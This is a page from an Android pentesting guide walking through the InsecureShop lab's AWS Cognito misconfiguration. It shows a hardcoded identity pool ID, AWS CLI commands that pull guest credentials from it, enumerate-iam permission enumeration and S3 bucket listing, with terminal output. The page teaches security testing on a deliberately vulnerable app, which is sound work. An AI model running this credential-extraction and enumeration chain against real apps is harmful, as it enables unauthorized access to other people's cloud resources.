πŸ’₯
Android Penetration Testing
WEBSITEGITHUBLINKDININSTAGRAM
  • πŸ•΅οΈβ€β™‚οΈOWASP Mobile Top 10
    • OWASP Mobile Top 10 2014
    • OWASP Mobile Top 10 2016
    • OWASP Mobile Top 10 2023
      • Insecure Authentication/Authorization
      • Insecure Communication
      • Inadequate Supply Chain Security
      • Inadequate Privacy Controls
      • Insufficient Input/Output Validation
      • Security Misconfiguration
      • Insufficient Cryptography
      • Insecure Data Storage
      • Insufficient Binary Protections
  • "Let's Dive into the Theory"
  • 😍Theory of Android Penetration Testing
    • πŸ‘‘Basic - Advance
    • πŸ’₯Professional - Expert
    • 🟧Types of Mobile Applications
    • 🟣Android Architecture
    • 🟦Android Show
    • πŸš€Secrets of Android App Creation
    • ♦️Android's Data Treasure Chests
    • πŸ›‘Mysterious .apk File:
    • 🏹Android Pentesting with Cutting-Edge Tools
    • ⬛Android File System
  • "Let's Dive into the Practical"
  • πŸ˜‡Vulnerable Android Application with Practical.
    • πŸ˜‰InsecureShop
      • 😁Vulnerability #1: Insecure Logging
      • πŸ˜‚Vulnerability #2: Hardcoded Credentials
      • πŸ˜†Vulnerability #3: Insecure Data Storage
      • 🀣Vulnerability #4: Lack of SSL Certificate Validation
      • 😍Vulnerability #5: Insufficient URL Validation
      • πŸ˜„Vulnerability #6: Weak Host Validation
      • 😘Vulnerability #7: AWS Cognito Misconfiguration
      • πŸ˜ƒVulnerability #8: Insecure Broadcast Receiver
      • πŸ˜›Vulnerability #9: Use of Implicit intent to send a broadcast with sensitive data
      • 😎Vulnerability #10: Using Components with Known Vulnerabilities
      • 😜Vulnerability #11: Intent Redirection (Access to Protected Components)
      • πŸ˜‚Vulnerability #12: Insecure Webview Properties Enabled
      • πŸ˜†Vulnerability #13: Intercepting Implicit intent to load arbitrary URL
      • πŸ™ƒVulnerability #14: Insecure Content Provider
      • πŸ₯°Reading Material
  • "Let's Dive into the Interview Questions"
  • 😎Important Interview Questions for Android Application Penetration Testing.
    • πŸ₯‡Part - 1
    • πŸ₯ˆPart - 2
    • πŸ₯‰Part - 3
    • πŸ…Part - 4
    • πŸŽ–οΈPart - 5
  • 😘Notes
    • Tools to use
    • Important Reports from Hackerone
Powered by GitBook
On this page
  1. Vulnerable Android Application with Practical.
  2. InsecureShop

Vulnerability #7: AWS Cognito Misconfiguration

PreviousVulnerability #6: Weak Host ValidationNextVulnerability #8: Insecure Broadcast Receiver

Last updated 1 year ago

It’s not very uncommon that android apps nowadays use cloud services - and not very uncommon either that developers sometimes hardcode potentially sensitive API keys into the resources of the app. While browsing through strings.xml, we found the following key:

<string name="aws_Identity_pool_ID">us-east-1:7e9426f7-42af-4717-8689-00a9a4b65c1c</string>

After a bit of researching, I found out the following documentation for which are supposedly a means to provide temporary AWS credentials for unauthenticated users/guests.

If you ever find a suspicious API key in some bug bounty program or pentest, try to refer in checking if the β€œleaked” key has some potential security issues.

Using the mentioned keyhacks repo, I tried to read the part regarding AWS and tried to install awscli using the following command:

sudo apt-get install awscli

To test this vulnerability, I followed used the following writeup as a reference:

First step that we need to do is to extract AWS credentials (access_key, secret_key, session_token) from the identity-pool:


aws cognito-identity get-id --identity-pool-id us-east-1:7e9426f7-42af-4717-8689-00a9a4b65c1c --region us-east-1 
aws cognito-identity get-credentials-for-identity --identity-id <identity-id-from-previous-command> --region us-east-1
python3 enumerate-iam.py --access-key <ACCESS-KEY-ID> --secret-key <SECRET-KEY-ID> --session-token <SESSION-TOKEN-VALUE>

An interesting permission that we have is that we can list the s3 buckets. For it to work, we need to configure our credentials (I’m using new creds here, I may have messed something up earlier):

We see two buckets, now let’s see what they contain:

β”Œβ”€β”€(ctfvmγ‰Ώctfvm)-[~/Desktop/test/enumerate-iam]
└─$ aws s3 ls                                                                                                                        
2020-11-15 12:31:10 elasticbeanstalk-us-west-2-094222047775
2022-03-22 13:05:02 telegram00lasagnahowto
                                                                                                                                                                                 
β”Œβ”€β”€(ctfvmγ‰Ώctfvm)-[~/Desktop/test/enumerate-iam]
└─$ aws s3 ls s3://telegram00lasagnahowto --recursive
2022-03-22 13:07:00       1949 Misconfiguration of Misconfiguration task lol - https://t.me/lasagnahowto , https://uvicorn.github.io <- writeup here
                                                                                                                                                                                 
β”Œβ”€β”€(ctfvmγ‰Ώctfvm)-[~/Desktop/test/enumerate-iam]
└─$ aws s3 ls s3://elasticbeanstalk-us-west-2-094222047775 --recursive
2022-03-22 13:06:59       1949 Misconfiguration of Misconfiguration task lol - https://t.me/lasagnahowto , https://uvicorn.github.io <- writeup here

Looks like some other player has left nothing for us lmao. To summarize the poc:

  1. Extract AWS credentials (access_key, secret_key and session_token ) from the identity pool;

  2. Enumerate permissions/roles for the credentials that you have;

  3. Privesc by abusing permissions.

Afterwhich, we’ll use the following script () to enumerate permissions with the credentials that we have.

πŸ˜‡
πŸ˜‰
😘
https://github.com/andresriancho/enumerate-iam
AWS Cognito Identity Pools
https://github.com/streaak/keyhacks
https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963